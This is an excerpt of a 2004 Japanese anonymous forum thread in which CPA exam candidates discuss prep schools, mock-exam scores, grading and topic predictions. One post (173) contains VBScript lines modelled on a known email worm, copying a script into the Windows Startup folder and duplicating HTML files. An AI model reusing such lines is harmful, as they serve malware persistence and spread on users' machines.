155 :一般に公正妥当と認められた名無しさん:04/04/20 14:57 ID:GQuDhv/Y
なるほど。
どこかのカルト団体みたいだな。
質的には変わらないのに、変に賞賛するのはきもい



156 :一般に公正妥当と認められた名無しさん:04/04/21 17:53 ID:???
TAC生ってどれくらいの人が財表を掛け持ちしてるんだろう?

157 :一般に公正妥当と認められた名無しさん:04/04/21 18:18 ID:???
3年目いこうの人はほとんどしてる。
俺も来年掛け持ちする。


158 :一般に公正妥当と認められた名無しさん:04/04/21 19:17 ID:K+4H0AKl
TAC財表を一律ビデオで語られても・・・
生クラスに抜群な講師ウジャウジャいるのに・・・
これだから、洗脳・煽りはこわい

159 :一般に公正妥当と認められた名無しさん:04/04/21 20:50 ID:???
財表はどこがお勧めなんだ?

160 :一般に公正妥当と認められた名無しさん:04/04/22 08:31 ID:ikI75rEq
>>159

TACでじゅうぶんだろ。

161 :一般に公正妥当と認められた名無しさん:04/04/22 14:42 ID:???
>>160
あの答練じゃどうにもならんだろう。
去年の使いまわしだぞ。

それより財表って最近経営以上に試験委員の影響が出てる気がする。

162 :一般に公正妥当と認められた名無しさん:04/04/22 15:27 ID:m7HiUdiP
今年の経営はギャンブルなのか?
ファイナンスを切りすぎだと思うんだけど・・・
4人が出すとか、4通に分担されるとか・・・

財表は別に戦略科目でもないんだからそんなに・・・
去年・一昨年は実務家が出題していたことを考えると純粋に理論オンリーという
ことも考えられるので、費用対効果から合格点取れれば・・・

簿記&原価計算&経済で合格点+αとれればいいので・・・・
このパターンの合格者が一番多いそうだし・・・



163 :一般に公正妥当と認められた名無しさん:04/04/22 15:28 ID:???
ぜんとうれんの財表、具体的にはどの問題がLECの早朝のパクリなの?


164 :一般に公正妥当と認められた名無しさん:04/04/22 16:10 ID:???
専門学校間で問題がかぶらない方がが変。別にLのをパクったわけじゃない。

165 :一般に公正妥当と認められた名無しさん:04/04/22 16:28 ID:gJYj0vnv
レック自体が埋没だろ
タックだけで充分
それで余裕があれば少し大原やればいいだろ
つーか、よく聞くけど野坂って誰よ?

166 :一般に公正妥当と認められた名無しさん:04/04/22 16:56 ID:Txt24FQ2
全党蓮の財表はかなり良い問題でしょ、絶対チェックだぜ。

167 :一般に公正妥当と認められた名無しさん:04/04/23 14:51 ID:???
レック生自体去年の論文そんなに出来てなかったぞ。
結局財表に割ける時間は限られてるしあれだけの分量だと
消化不良で終わるって。
そもそも財表なんかで合否はきまらんだろう。


168 :一般に公正妥当と認められた名無しさん:04/04/23 15:17 ID:???
>>そもそも財表なんかで合否はきまらんだろう
決まらないてことは無いだろうけど、
思った以上に失敗してもそんなに致命傷にならないのは確かだろうね。
簿記や原形、経済で失敗する方がはるかに痛いわな。

169 :一般に公正妥当と認められた名無しさん:04/04/23 20:52 ID:???
TACの財表は、内容がどうのこうのよりあの著しく使えない論点集を
大幅に改良する必要があるだろう。監査論に問題集がないのもいただけない。
あと、簿原の問題集が毎年全く同じというのもなめとる。
スレチガイスマソ。

170 :一般に公正妥当と認められた名無しさん:04/04/23 22:45 ID:soMp9Rpt
うかりゃいいんだよ、うかれば。

171 :一般に公正妥当と認められた名無しさん:04/04/23 23:17 ID:???
 >169
 マジですか?! 確かに論点集は改良を、監査は論点集の作成を、簿原が同じ
ってのは初めて知りますた。そりゃあなめてるね。
 >168
 順番ズレテすみません。財表で過去に論文しくじって落ちたと思うって友人がいますが
財表って本試験はみんな結構書ける→自分が書けないと致命傷ってことはないんでしょうか?

172 :一般に公正妥当と認められた名無しさん:04/04/24 00:01 ID:kw04Xqm0
財表何を書いたらいいかって教えてくれない授業が問題
まぁ あたらし目の基準なら暗記だけでオッケーだけど

でもレク生はタックと比べ論文受験者間で少なくとも、
15点分のアドバンテージをもってることは間違いないよ。


173 :一般に公正妥当と認められた名無しさん:04/04/24 00:03 ID:???
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

174 :一般に公正妥当と認められた名無しさん:04/04/24 01:50 ID:???
でもLEC生って理論で15点取るための勉強で、
TAC生より計算で15点以上落としてそうじゃない?

175 :一般に公正妥当と認められた名無しさん:04/04/24 06:48 ID:???
>>174
さにあらず
原計のすばらしさ

176 :一般に公正妥当と認められた名無しさん:04/04/24 13:19 ID:mlV5baVo
所詮は、簿記・原価計算・経済で決まる試験。
いずれかで扱けると確実に落ちる。
それが、この試験な訳で。



177 :一般に公正妥当と認められた名無しさん:04/04/24 13:25 ID:???
計算科目ひとつ失敗してもぎりぎり挽回可能。
ふたつ失敗すると確実に落ちる。


178 :一般に公正妥当と認められた名無しさん:04/04/24 15:16 ID:???
試験委員は受験生に理論科目の内容なんて期待していない。
必要最小限の知識を如何に首尾一貫させ論理的に矛盾しないように書けるかがポイント。
細かい事(国際会計も含むかも)書きすぎて矛盾したり、間違った知識を書く方が致命的。







179 :一般に公正妥当と認められた名無しさん:04/04/24 15:19 ID:???
>細かい事(国際会計も含むかも)書きすぎて矛盾したり、間違った知識を書く方が致命的

方が、じゃなくて、絶対的に致命的だろ

180 :一般に公正妥当と認められた名無しさん:04/04/24 15:46 ID:???
>>179
178を擁護するつもりはないが、
「方が」でいいんじゃないか、試験委員が実際に言ってをるわけじゃないし。
絶対、だと試験委員が言ったなどの根拠が必要になるからな。







181 :一般に公正妥当と認められた名無しさん:04/04/24 16:05 ID:???
あのさ、母集団がタックの20分の1以下のレックなんてどうでもいいでしょ?
それに論文式受ければわかると思うけどこの試験は計算で決まる。
財表と計算(簿記・原型・経済)ではインパクトが全然違う。

182 :一般に公正妥当と認められた名無しさん:04/04/24 17:42 ID:KwEi0hjZ
通ってるとこの母集団多いことと自分が凄いことをごちゃ混ぜにしてるのは頭が弱いから?

183 :一般に公正妥当と認められた名無しさん:04/04/24 17:48 ID:???
http://www.tokyoparadise.com/dhouse/985/bigimage/h319.jpg

184 :一般に公正妥当と認められた名無しさん:04/04/24 18:08 ID:???
だったら、おまえら計算三科目で八割とれるのかっつーの。

185 :一般に公正妥当と認められた名無しさん:04/04/24 18:56 ID:d5yNqj0Z
120点ずつとれりゃ大丈夫

186 :一般に公正妥当と認められた名無しさん:04/04/24 19:09 ID:???
だったら理論と変わらんではないか。
なんで計算で決まるなんて言い切れるんだろ。

187 :一般に公正妥当と認められた名無しさん:04/04/24 19:59 ID:???
短期(1〜2年)で受かった人(俺)は、簿と財(特に金融やリース、連結、分割etc)、
監と商、ミクロと投資論と原計(意思決定のあたり)の限界概念
などをまとめて覚えたり考えたりして体系ずける。
計算に執着してる奴は時間の無駄だし、
簿記ではテキストの仕訳を全て間違えず切れるわけでもないのに、
総合問題を理解ではなく慣れで高得点をだすようになる(特にベテ)。
こうなるとプライドが邪魔で基本に帰れなくなるから、永遠に受からない。

188 :一般に公正妥当と認められた名無しさん:04/04/24 20:32 ID:???
計算は差がつく。理論は差をつけにくい。
もちろん、理論で明らかな嘘を書いた場合は沈むけど、そういうことやる
人は合格ラインにいない。ボーダー前後にいる人の決め手は計算の
出来による。理論で力いれるべきは法律科目。一発退場になる危険性のある
科目だからです。

189 :一般に公正妥当と認められた名無しさん:04/04/24 22:21 ID:pzuSEExY
TAC短4とうれん5回目の問題24の質問させていただきます。
資料に正常仕損費を異常仕損品に負担させるか否かは正常仕損の発生点をもとに判断する。
とあって、正常仕損と異常仕損が0.4の発生点が同じだったとき、解答には異常仕損と正常仕損の発生点は等しいので、異常仕損品に正常仕損費を負担させないとなっているんですが、理由がわかりません。
どなたか賢いかたご指導お願いします。

190 :一般に公正妥当と認められた名無しさん:04/04/24 23:33 ID:OGYWbFS8
>>189
実務上の慣行みたいだよ。
元々異常仕損品には正常仕損費を負担させるべきでない
という考え方が根強くあるから同じ進捗度の異常仕損品には
正常仕損費を負担させない事にしていると先生が言ってた気がする。
まあおぼえちゃえば?

191 :一般に公正妥当と認められた名無しさん:04/04/25 00:52 ID:jtUu2YMO
>>184
ベテが何回も同じとうれん受けて八割取ってんのを自慢スンナ
本試験じゃ同じ問題でねーぞ。

まぁ来年も全答練の割引使って人生無駄にしてくれ

192 :一般に公正妥当と認められた名無しさん:04/04/25 00:59 ID:???
>189
異常仕損と正常仕損の発生点が同じならば負担させない。
但し、期末仕掛品と正常仕損の発生点が同じなら期末仕掛品に正常仕損費を
負担させるので注意!入門のテキストに書いてあるよ。

193 :一般に公正妥当と認められた名無しさん:04/04/25 03:06 ID:JdjghrRg
計算科目と理論科目の採点の違いだよ計算で稼げってのは。

194 :一般に公正妥当と認められた名無しさん:04/04/25 09:40 ID:???
>>191
計算三科目が鍵→だったら計算で八割とれるの?→いや、取れません。
→だったら何故計算三科目が鍵なんていえるのか?

っていう流れだろが。

195 :一般に公正妥当と認められた名無しさん:04/04/25 10:39 ID:cJHS8BJ7
民法組と経済組がケンカしてんのか?
せめて短答終わってからしろよ

196 :一般に公正妥当と認められた名無しさん:04/04/25 17:08 ID:???
マルチポストに付き合うなんて、お前ら良い奴だな。
正直、189みたいな奴とは関わりたくない。

197 :一般に公正妥当と認められた名無しさん:04/04/25 18:43 ID:???
マルチポストって書いてから気づいた。
189はお礼もいわんしね

198 :一般に公正妥当と認められた名無しさん:04/05/16 00:04 ID:Nrm5FQ79
簿記論 基答練1は平均点何点?

199 :一般に公正妥当と認められた名無しさん:04/05/16 22:12 ID:???
答案返却はいつですか?

200 :一般に公正妥当と認められた名無しさん:04/05/18 20:29 ID:vcJ9eQbd
全答練一回目の答案回収してきます他。
平均420.97点。上位20%が684.03点。
トップは820点?でした。

201 :全答練平均点 3753人受験/6353人申込:04/05/18 23:44 ID:In9R6Kto
 科目 上位200名  全受験者
 簿記  64.31    43.18
      47.39    27.46
 財表  42.95    25.73
      45.75    31.21
 経営  36.89    20.92
      23.69    15.75
 原計  53.65    36.44
      41.14    23.76
 監査  49.45    31.01
      45.56    30.80
 経済  64.93    39.31
      53.27    29.41
 商法  59.90    43.74
      54.13    41.57
 民法  51.48    35.52
      57.48    40.61

経営経済 684.03   420.97
経営民法 670.71   410.08
経済民法 715.50   469.75

202 :一般に公正妥当と認められた名無しさん:04/05/19 09:11 ID:???
計算マンセーがかなりいるな。
財表監査経営の平均・上位200は低すぎ

203 :一般に公正妥当と認められた名無しさん:04/05/19 10:33 ID:???
ていうか、全受験者、上位200名ともに
全科目で去年の全答練1回目の平均を下回ってるぞ。

難易度の違いがあって一概には言えないけど
受験者のレベルが低下したか、全答練を無視して
短答対策に特化してる香具師が増えたんだろうな。

受験者は何名?去年は3920名だけど。

204 :一般に公正妥当と認められた名無しさん:04/05/19 10:34 ID:???
>>201
名前欄に受験者数書いてあったね・・・逝ってきます

205 :一般に公正妥当と認められた名無しさん:04/05/19 12:49 ID:ze8vZG6Q
そうか今日結果出ているんだな、貰いに逝こう

206 :一般に公正妥当と認められた名無しさん:04/05/19 14:37 ID:???
地方校はいつですか?

207 :一般に公正妥当と認められた名無しさん:04/05/20 00:47 ID:???
kyoudayo

208 :一般に公正妥当と認められた名無しさん:04/05/20 02:50 ID:n2TDrvSJ
皆どうだったんだ??

209 :一般に公正妥当と認められた名無しさん:04/05/20 03:09 ID:n2TDrvSJ
俺は700番台だったよ・・・・・簿記と経済死亡しすぎて悲しかった・・・・
やっぱり理論で稼ぐのは無理みたいだね、経営の点とか見るとなきそうになるよ。

経済得意なのに全然出来なかった・・・・・・ヽ(`Д´)ノウワァァァン

210 :一般に公正妥当と認められた名無しさん:04/05/20 09:15 ID:???
俺は名前が載ったよ。
計算三科目でかなり稼げたみたい
やはり計算で大きく差がつくと思うよ。

211 :一般に公正妥当と認められた名無しさん:04/05/20 10:50 ID:???
理論の採点てあんなもんなんか?
本番はもっと点数つくんじゃねーの?

212 :一般に公正妥当と認められた名無しさん:04/05/20 11:35 ID:???
採点ってどんなやつがやってんの?

213 :一般に公正妥当と認められた名無しさん:04/05/20 20:29 ID:???
>>211
自分ができなかっただけじゃない?ニヤニヤ

214 :一般に公正妥当と認められた名無しさん:04/05/20 21:39 ID:???
俺LECで、ぜんとうれん受けたけど
TACは定義書かないと激しく減点されるんだな、しらんかった。

215 :一般に公正妥当と認められた名無しさん:04/05/21 01:19 ID:cv4rX0J1
>>214

大丈夫だ、野栄メソッドだけで財表名前載せてきたから
タックは守りの定義に少しやさしいだけだ

216 :一般に公正妥当と認められた名無しさん:04/05/21 02:17 ID:???
全答練2回目はなぜ短答発表前にやるのかしら?
採点も大変だろうに。

申込者に対するポーズか?
それにしても時期がすこし早すぎる。7月中旬くらいがベストと思われ。

217 :一般に公正妥当と認められた名無しさん:04/05/21 02:40 ID:???
なんてこった・・・・・
    . . : : : :: : : :: : ::: :: : :::: :: ::: ::: ::::::::::::::::::::::::::::::::::::::
   . . .... ..: : :: :: ::: :::::: :::::::::::: : :::::::::::::::::::::::::::::::::::::::::::::
        Λ_Λ . . . .: :::::::::::::::::::::::
       /:彡ミ゛ヽ;)ー、 . ::: : :: ::::::::: :::::::::::::::::::::::::::::
      / :::/:: ヽ、ヽ、 ::i . .:: :.: ::: . :::::::::::::::::::::::::::::::::::::::
      / :::/;;:   ヽ ヽ ::l . :. :. .:: : :: :: :::::::: : ::::::::::::::::::
 ̄ ̄ ̄(_,ノ  ̄ ̄ ̄ヽ、_ノ ̄ ̄

218 :一般に公正妥当と認められた名無しさん:04/05/21 07:09 ID:???
>>216
他の専門学校生で短答落ちた人が受験料を払わなくなるから。
さすが営利追求が本質の株式会社TAC。一回5000円は高すぎるだろ!

219 :一般に公正妥当と認められた名無しさん:04/05/21 11:23 ID:???
受験してない3000人はなんなんだ?

ドロップアウトが1000人、担当特化が2000人ってとこか?

220 :一般に公正妥当と認められた名無しさん:04/05/21 14:59 ID:ywxMJDyI
ちょっと2回目早い気がするね確かに、7月にならないのかな??

221 :一般に公正妥当と認められた名無しさん:04/05/22 01:35 ID:qP/yi5MA
今からでも変えて欲しいな

総受験数の議決権の過半数を有する受験者が参加し、その議決権の3分の2以上の多数で変えられないかなぁ?



222 :一般に公正妥当と認められた名無しさん:04/05/22 01:35 ID:qP/yi5MA
222

223 :一般に公正妥当と認められた名無しさん:04/05/23 01:18 ID:R3xl0n2F
4000人いて、合格レベルは何番なんでしょうね?

224 :一般に公正妥当と認められた名無しさん:04/05/23 01:32 ID:R3xl0n2F
そういや、平日組と土日組って順位分けないのでしょうか?

225 :一般に公正妥当と認められた名無しさん:04/05/23 01:57 ID:s6p1xiot
>>223

700番ぐらいじゃない?

226 :一般に公正妥当と認められた名無しさん:04/05/26 22:51 ID:DVchVxoA
今も300位が合格の目安なんですか?

227 :一般に公正妥当と認められた名無しさん:04/05/31 14:43 ID:sygF+qG3
>>226
レスストッパー&馬鹿の方ですか?

228 :一般に公正妥当と認められた名無しさん:04/05/31 18:13 ID:???
全答練早すぎるよ。
6月半ばの時期の順位付け、あまり参考にならないな。

229 :一般に公正妥当と認められた名無しさん:04/06/01 21:37 ID:???
採点者だれ?
若手?
ひどいよ。特に経営、監査。
なんで俺があんな藁な点数なんだよ!!

230 :一般に公正妥当と認められた名無しさん:04/06/01 21:38 ID:???
監査でひどいのは細いペンのほうね

231 :一般に公正妥当と認められた名無しさん:04/06/02 12:29 ID:???
723 名前:一般に公正妥当と認められた名無しさん :04/06/02 12:09 ID:w3Wz9/tC
毎年、試験後のスレッドを見てる超ベテのオレが
書き込みの雰囲気からズバリとボーダーを当ててやるよ。
今年は33か34だね。
間違いない。


724 名前:一般に公正妥当と認められた名無しさん :04/06/02 12:10 ID:???
>>723
どのくらいの超ベテ?


725 名前:723 :04/06/02 12:19 ID:w3Wz9/tC
>>724
まあ、前世紀から受けてたね。
って言っても、論文の全答練は
毎年、100番台だが・・なぜか論文受からん



232 :一般に公正妥当と認められた名無しさん:04/06/02 12:30 ID:7iJIDFBX
テキスト暗記じゃうからないってことだね

233 :一般に公正妥当と認められた名無しさん:04/06/16 21:03 ID:???
そろそろ揚げ

234 :一般に公正妥当と認められた名無しさん:04/06/17 11:17 ID:???
そろそろ出題予想しない?まずは簿記の構造問題あたりから

235 :一般に公正妥当と認められた名無しさん:04/06/18 01:32 ID:4oAGsOMi
本支店はでないでしょ?

連結CFか連結じゃない?

236 :一般に公正妥当と認められた名無しさん:04/06/18 01:33 ID:tQ5FVlb3
本支店は一回目で出ちゃったしな、どうなんでしょ。
今年の本命は本支店なのかな・・・・・

237 :一般に公正妥当と認められた名無しさん:04/06/18 01:47 ID:???
◎○▲△×で予想キボン。

238 :一般に公正妥当と認められた名無しさん:04/06/19 01:21 ID:???
まったく盛り上がらんな。

239 :一般に公正妥当と認められた名無しさん:04/06/19 02:16 ID:viBgqwfZ
簿記は特商ベースの個別と連結キャッシュで決まり。


240 :一般に公正妥当と認められた名無しさん:04/06/19 02:19 ID:???
おいらも連結CFは一押しですよ!

241 :一般に公正妥当と認められた名無しさん:04/06/19 02:20 ID:fLEjnG73
           o
            /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
           /   このスレは無事に  /
           /  終了いたしました    /
          / ありがとうございました  /
          /                /
         /    モナーより      /
         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
  ∧_∧  /                /∧_∧
 ( ^∀^) /                /(^∀^ )
 (    )つ               ⊂(    )
 | | |                   | | |
 (__)_)                  (_(__)


242 :一般に公正妥当と認められた名無しさん:04/06/19 03:58 ID:???
           o
            /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
           /   このスレは無事に  /
           /  再開いたしました    /
          / ありがとうございました  /
          /                /
         /     山崎より      /
         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
  ∧_∧  /                /∧_∧
 ( ^ ^) /                /(^ ^ )
 (    )つ               ⊂(    )
 | | |                   | | |
 (__)_)                  (_(__)





243 :一般に公正妥当と認められた名無しさん:04/06/19 09:43 ID:EvVr8+j7
苦しんでこいw

244 :一般に公正妥当と認められた名無しさん:04/06/20 03:11 ID:???
クラスターだ!

245 :一般に公正妥当と認められた名無しさん:04/06/21 03:15 ID:dPLv164f
意外と論文まとめが重いな・・・・・苦しい

246 :一般に公正妥当と認められた名無しさん:04/06/21 22:01 ID:dPLv164f
いよいよ明日だな、お前等もしかして忘れてないよな??

247 :一般に公正妥当と認められた名無しさん:04/06/21 22:26 ID:???
>>245
本試験で点数取りたいなら論文まとめなんてやめておけ。
いいか、考えるな。全答練の順位なんて・・・。

248 :一般に公正妥当と認められた名無しさん:04/06/21 22:28 ID:dPLv164f
マジですか??でも一応押さえないと不安なんだよ、
じゃー他に何やれば良いですか??

249 :一般に公正妥当と認められた名無しさん:04/06/21 22:30 ID:???
明日は第一回に比べて、受験者数は激減しているんだろうな

250 :一般に公正妥当と認められた名無しさん:04/06/21 22:37 ID:dPLv164f
どうだろう、明日風強いと嫌だな。

251 :一般に公正妥当と認められた名無しさん:04/06/21 22:41 ID:???
風が吹いたら遅刻して
雨が降ったらお休みです。

252 :一般に公正妥当と認められた名無しさん:04/06/21 22:45 ID:dPLv164f
そろそろ寝るかな、明日お互いがんがろう!!

253 :一般に公正妥当と認められた名無しさん:04/06/21 22:47 ID:???
受験勉強そのものに内発的に動機付けられているおまえら、明日は全答練だな。
あまり勉強はすすんでないから正直受けたくないな。

254 :一般に公正妥当と認められた名無しさん:04/06/22 18:58 ID:d69lBzUa
簿記は特商
   連結の仕訳問題

材表は外貨
   資本
   税効果 

255 :一般に公正妥当と認められた名無しさん:04/06/22 19:12 ID:???
そんな去年の本試験の事なんてみんな知ってるよーんだ。

256 :一般に公正妥当と認められた名無しさん:04/06/22 19:31 ID:???
みんな受けた?
おれめんどくさくなってやめた

257 :一般に公正妥当と認められた名無しさん:04/06/22 19:34 ID:???
俺経営途中退出しちゃった。1時間も受けてない。1科目でも受ければ
ヤマくれるからいいやって。そのヤマもあたらないけど。

258 :一般に公正妥当と認められた名無しさん:04/06/22 19:35 ID:DKgWPQg6
ヤマはあとでTACニュースみたいに入り口近くに山積みされるぞ

259 :一般に公正妥当と認められた名無しさん:04/06/22 19:36 ID:???
ほんとに?いらねえじゃん全答練。

260 :一般に公正妥当と認められた名無しさん:04/06/22 19:52 ID:C0jkw/UE
今回は調子良いぞ、明日乗り切ればかなりの好成績に。

261 :一般に公正妥当と認められた名無しさん:04/06/22 22:35 ID:???
簿記、簡単だったよね。

262 :一般に公正妥当と認められた名無しさん:04/06/22 23:47 ID:???
2chも盛り上がってないし、濡れのモチベーショソもまったくあがらん。
やっぱ時期が早いんだよな。簿記も100分で終わったがめんどうで見直さえせず退出したし。

263 :一般に公正妥当と認められた名無しさん:04/06/23 18:30 ID:39cnt465
経済ムズカッタな・・・・・・・・

264 :一般に公正妥当と認められた名無しさん:04/06/23 18:36 ID:???
7月に実施すべきだったな。

265 :一般に公正妥当と認められた名無しさん:04/06/23 18:37 ID:39cnt465
そんな気もする、しかし復習する期間が長く取れると思えば良いかも。

266 :一般に公正妥当と認められた名無しさん:04/06/23 18:41 ID:???
本試験1ヶ月前にもう1回ほしいな。ヤマを結集させた全答練を。
今回のはカモフラージュだろうから。

267 :一般に公正妥当と認められた名無しさん:04/06/23 18:42 ID:39cnt465
直前等連でカバーしてくれるでしょ、3回あるし。

268 :一般に公正妥当と認められた名無しさん:04/06/23 21:54 ID:???
ヴぇては全答練は受けずに自習する人のほうが多いのですか?

269 :他校生:04/06/23 23:35 ID:???
監査一体なんなんだよ?
解答欄無いなんていくらなんでもズサン過ぎ。
あんなのしょっちゅうなの?

270 :一般に公正妥当と認められた名無しさん:04/06/24 01:09 ID:???
事務のアルバイトをしてるんですけど、やたら声をかけてこられる受講生の方がおられます。
プライベートなことも聞かれて正直困惑してます。
正社員の方のお話では、他の曜日の女性のバイトさんも応対に困っているようです。
合格された方ならともかく、失礼ですがいつ合格されるともわからない方に正直魅力は感じません。
だって合格されないかぎりは無職無収入でご両親に負担をかけてるのでしょうし、資格はなくてもしっかり働いている方の方が尊敬できます。


271 :一般に公正妥当と認められた名無しさん:04/06/24 02:21 ID:HtKAseFE
本校の○○ちゃんですか?

272 :一般に公正妥当と認められた名無しさん:04/06/24 08:31 ID:K0gi97T1
さー今日でラストだ、皆気合入れていくぞ!!!!!!!!!!!!!俺達は絶対勝つ!!!!!!!!

273 :一般に公正妥当と認められた名無しさん:04/06/24 08:43 ID:Gzf1doh4
>>257,258
「やま」ってなんのことですか?
全答練受けた人にやまあての冊子とかくれるんですか?
申し込んで受けてない人は?

274 :一般に公正妥当と認められた名無しさん:04/06/24 10:44 ID:???
>273
冊子みたいになってて、全科目、各講師が分野表に競馬みたく○やら三角やら
つけてあるやつだよ。あれは、普通に7月くらいになれば山積みに入口あたりに
置いてある。もちろんただ取り。よって大原やLECが取っていくことも可能。
これでわかったか??

275 :一般に公正妥当と認められた名無しさん:04/06/24 11:10 ID:???
合格しても就職できない
騙されたことに今更気づいたら

消費生活総合センター
http://www.shouhiseikatu.metro.tokyo.jp/

■ 資格商法 110番 合格しても就職できない! ■
http://school4.2ch.net/test/read.cgi/exam/1088039828/l50

276 :一般に公正妥当と認められた名無しさん:04/06/24 11:21 ID:???
大原で受けたし、TAC受けてないんだけど財表、監査何がでたん?

277 :273:04/06/24 12:37 ID:Gzf1doh4
>274
わかりました。ありがとうございました。

278 :一般に公正妥当と認められた名無しさん:04/06/24 13:57 ID:VbTNVrkM
>>276
大原の山当てくれるなら教えてあげる。

279 :一般に公正妥当と認められた名無しさん:04/06/24 14:02 ID:VbTNVrkM
とりあえず終わって良かった、お前等問題がバレナイように感想よろしく

280 :一般に公正妥当と認められた名無しさん:04/06/24 15:10 ID:ZK0Uckt3
簿記の試用品わかんなかった…

281 :一般に公正妥当と認められた名無しさん:04/06/24 15:17 ID:???
>>280
本番までにできれば問題ない

282 :一般に公正妥当と認められた名無しさん:04/06/24 18:08 ID:ut7MJxlv
経済・経営がムズかったよ。
特に、経済はヤバいね。

283 :一般に公正妥当と認められた名無しさん:04/06/24 18:36 ID:btdHGVgh
商法の二問めの小一問、小ニ問に比べてスペースあり
すぎて何書いていいかまよったね。

284 :一般に公正妥当と認められた名無しさん:04/06/24 20:09 ID:???
今回、TACは当てにきてるん?

285 :一般に公正妥当と認められた名無しさん:04/06/24 21:11 ID:0wpYTppX
経済むずいんだ安心

しかし商法うんこみたいな問題
馬鹿○部が自分の生徒が基本的な問題だと他校の受験生に勝てないのを隠すために作ったって感じ

286 :一般に公正妥当と認められた名無しさん:04/06/24 21:13 ID:???
氏名 はにわ

287 :一般に公正妥当と認められた名無しさん:04/06/24 21:22 ID:5V3mVVld
基本的な問題だろ商法は・・・・・そうじゃないのか??

288 :一般に公正妥当と認められた名無しさん:04/06/24 21:28 ID:1J48eEbb
商法は別に文句言うほどじゃないような。
あれむずいならしっかり勉強しろよ。
阿部マンセーではないのであしからず。

289 :一般に公正妥当と認められた名無しさん:04/06/24 21:32 ID:???
問1は問題なく書けるはず、問2はもしかしたら阿部じゃないと厳しかったかもしれない、
債権者保護の必要性とか詳しくやったのは論文まとめだったし。ただ部分的に厳しくても書けるでしょ大体は。

290 :一般に公正妥当と認められた名無しさん:04/06/24 21:32 ID:???
とりあえず解答欄があったのにホッとしたよ。
それほどムズいとは感じなかったけど、一問目はちょっと意外だった。
あれは出ないだろ〜?

291 :一般に公正妥当と認められた名無しさん:04/06/24 22:24 ID:???
経済が難しかったって人がいて安心した。
商法の1問目は確かに意外。
2問目は思いっきり山だって言われてたとこだったから、みんな出来たと思ったけど?

292 :一般に公正妥当と認められた名無しさん:04/06/24 23:08 ID:???
2回目全答練ってどれくらいで成績返ってきますか?
結果見て発奮しないといけないんで、早くしてほしいんですけど。

293 :一般に公正妥当と認められた名無しさん:04/06/24 23:58 ID:Lq61p8/w
よかったー。私も経済超むずくて早くおわっちゃった&経営も1問目と3問目くらいしか良く掛けなかった。
あとは作文した。商法は、別にむずいとは感じなかった。けど。

294 :一般に公正妥当と認められた名無しさん:04/06/25 03:48 ID:???
商法2問目ヤマだったの?

TAC生?

295 :大原生:04/06/25 05:18 ID:cJ31aHYt
あのー全答練ってあの程度のレベルなんっすか?
聞いてた話では、いつもすげー難しいよってことなんで、緊張していったんですけど、総じて簡単すぎてびっくりしました。
簿記⇒ふつう
財表⇒そんなんでるか?って感じ。かつ、大原で今年度出題済ばかり。
経営⇒いかにも手抜きな感じの作問。作ったやつは本当に経営わかってんの?
原計⇒ふつう
監査⇒解答欄がないって・・・どういうこと?・・なめんなよ・・・確か、短答全答練も監査で問題が生じていたような・・・
経済⇒難しかったっす。
商法⇒大原の応用テキストでまったく問題なし。多分みんなできてるとおもいますが。



296 :291:04/06/25 06:59 ID:???
>>292
7月の後半だったかと。
自分で答え合わせする等で、発奮して頑張ってください!
>>294
TAC生ですよ。
企業再編と債権者保護手続きは大事だと、小飯塚さんが言ってましたよー。
>>295
全体的には自分も簡単だったとかと。
ただ、このような問題だとミスしたらアウトだと思い逆に慎重になりました。

297 :一般に公正妥当と認められた名無しさん:04/06/25 07:02 ID:???
>296
財表はどうよ?

298 :一般に公正妥当と認められた名無しさん:04/06/25 07:33 ID:2mfhDGhN
材表は論文まとめから出してたよな、あれは点くれ問題だろ。

299 :291:04/06/25 07:39 ID:???
>>297
第三問
問1と問2は、素直に出来ると思います。
収益費用中心観と資産負債中心観に関しては、論文まとめでやってたので何とか。

第四問
全て川村さんが個人的に大事と言った分野からの出題。
問1
短答の知識で十分解答できる範囲かと思います。
問2
(1)については、論文まとめでやってるので出来ると思います。
(2)については、難しかったです。どこに表示するか知らなかったので、両者の本質的(形式的?)な違いを考えて解答しました。
問3
典型論点なので完璧に出来ないとまずいと思います。

自分の感想なので、参考にするかどうかは自己責任でお願いします。

300 :一般に公正妥当と認められた名無しさん:04/06/25 07:43 ID:???
監査むずかしくなかた?一問めのほう

301 :一般に公正妥当と認められた名無しさん:04/06/25 07:47 ID:2mfhDGhN
俺も表示場所しらねーけど、本質に着目したよ、皆同じようなモンなんだな。

302 :291:04/06/25 08:18 ID:???
>>300
中間監査はやっておく必要ありと言われてましたが、やってなければ難しかったと思いますよ。

303 :一般に公正妥当と認められた名無しさん:04/06/25 08:21 ID:dLtwy4+7
>>300
悪いが監査は簡単だったと思う。
経済はむずかった

304 :一般に公正妥当と認められた名無しさん:04/06/25 08:28 ID:2mfhDGhN
中間は大本命だろ、やらないやつはヤバイ。

305 :一般に公正妥当と認められた名無しさん:04/06/25 09:56 ID:???
監査が簡単だったと言ってる奴ら
答案返ってきたらその採点の精度の
低さにびっくりするぞ。
なんてたって解答どおりの答えを
基準にバイトが採点するからな。
大方意味があってても×されることなんてよくある。


306 :一般に公正妥当と認められた名無しさん:04/06/25 23:42 ID:???
>>305
そこなんです!
採点についてぼちぼち話し合いましょう。

1本試験は大方意味があってる解答に点くれますよね?

2本試験は全体の印象で点をつけるだけで、各問で点数をふらない説
 は正しいんですか?

307 :一般に公正妥当と認められた名無しさん:04/06/25 23:52 ID:???
TACのバイトの採点は論外だが、本試験はある意味もっとシビア。
大学の試験と混同しているお気楽学生をよく見かけるが、
素人に単位を与えるための試験と、職業的専門家としての教授が
職業的専門家を選ぶための採点は話にならない差がある。
らしいことを書いていても、本質を理解しているかで判断される。
職業的専門家としての教授は手ごわい。

308 :一般に公正妥当と認められた名無しさん:04/06/26 00:21 ID:hOKgNShF
バイトじゃなくて受かりたてとかマイナーな講師が採点してなかった?
模範解答と同じじゃないとはねられるのは確かだけど

309 :一般に公正妥当と認められた名無しさん:04/06/26 00:34 ID:???
経営なんて千差万別の答案がかかれそうですよね。
そもそも模範解答がないとか、そういうこともありそうじゃないですか?


310 :おすぎです。:04/06/26 00:39 ID:???
商法の先生が元試験委員から聞いた話では、
